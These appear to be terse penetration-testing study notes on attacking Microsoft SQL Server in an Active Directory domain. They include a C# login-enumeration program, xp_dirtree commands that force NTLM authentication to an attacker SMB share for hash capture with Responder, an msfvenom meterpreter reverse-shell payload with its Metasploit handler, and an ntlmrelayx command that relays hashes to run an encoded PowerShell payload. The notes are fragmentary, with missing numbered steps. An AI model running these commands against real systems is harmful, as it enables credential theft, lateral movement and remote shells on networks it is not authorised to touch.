We also obtain information about the service account context under which the SQL servers are running.
SQLSvc domain account could be a member of the built-in Administrators group. This means that the service account is a local administrator on the servers where it's used.
Windows authentication is typically enabled when the SQL server is integrated with AD so we can authenticate through Kerberos without a password needed.
After a successful login. The login is mapped to a database user account. If we perform a login with an account that has no associated SQL user account, it will automatically be mapped to the built-in guest user account. A login such as sa, which is mapped to the dbo user, will have the sysadmin role.
boilerplate
using System;
using System.Data.SqlClient;
namespace MSSQL
{
public class Program
{
public static String executeQuery(String query, SqlConnection con)
{
SqlCommand cmd = new SqlCommand(query, con);
SqlDataReader reader = cmd.ExecuteReader();
try
{
String result = "";
while (reader.Read() == true)
{
result += reader[0] + "\n";
}
reader.Close();
return result;
}
catch
{
return "";
}
}
public static void getGroupMembership(String groupToCheck, SqlConnection con)
{
String res = executeQuery($"SELECT IS_SRVROLEMEMBER('{groupToCheck}');", con);
int role = int.Parse(res);
if (role == 1)
{
Console.WriteLine($"[+] User is a member of the '{groupToCheck}' group.");
}
else
{
Console.WriteLine($"[-] User is not a member of the '{groupToCheck}' group.");
}
}
public static void Main(string[] args)
{
//replace into the server logging in
String serv = "dc01.corp1.com";
String db = "master";
String conStr = $"Server = {serv}; Database = {db}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conStr);
try
{
con.Open();
Console.WriteLine("[+] Authenticated to MSSQL Server!");
}
catch
{
Console.WriteLine("[-] Authentication failed.");
Environment.Exit(0);
}
// Enumerate login info
String login = executeQuery("SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Logged in as: {login}");
String uname = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Database username: {uname}");
getGroupMembership("public", con);
getGroupMembership("sysadmin", con);
}
}
}
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree '\\attackerip\file'" -Export | ft
NTLM authentication will take place if we force an SQL server to connect to an SMB share and we should be able to capture the hash of the user account under whose context the SQL server is running.
insert into Main
// Force NTLM authentication for hash-grabbing or relaying
;
String res = executeQuery($"EXEC master..xp_dirtree \"{targetShare}\";", con);
Console.WriteLine($"[*] Forced authentication to '{targetShare}'.");
Setup kali SMB share to capture the hash before executing the application
SMB listener
sudo responder
*execute the payload
EXEC master..xp_dirtree "\\192.168.45.181\share";
Net-NTLM Relaying (if can't crack) - the svc account needs to have access to other servers
Works on if SMB signing is not enabled (only enabled by default on DCs). Net-NTLM hash cannot be used in a pass-the-hash attack. It's not possible to relay a Net-NTLM hash back to the origin computer, only to another computer.
Getting a shell on another server in the context of the SQL server service account without cracking the password by forcing NTML authentication on a SQL server to us for relaying.
0) payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o shell.txt
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
4) relayer listener + exec
sudo impacket-ntlmrelayx --no-http-server -smb2support -c 'powershell -enc {output from 1)}'
*can replace the enc to execute the UNC payloa
no -c = dump hash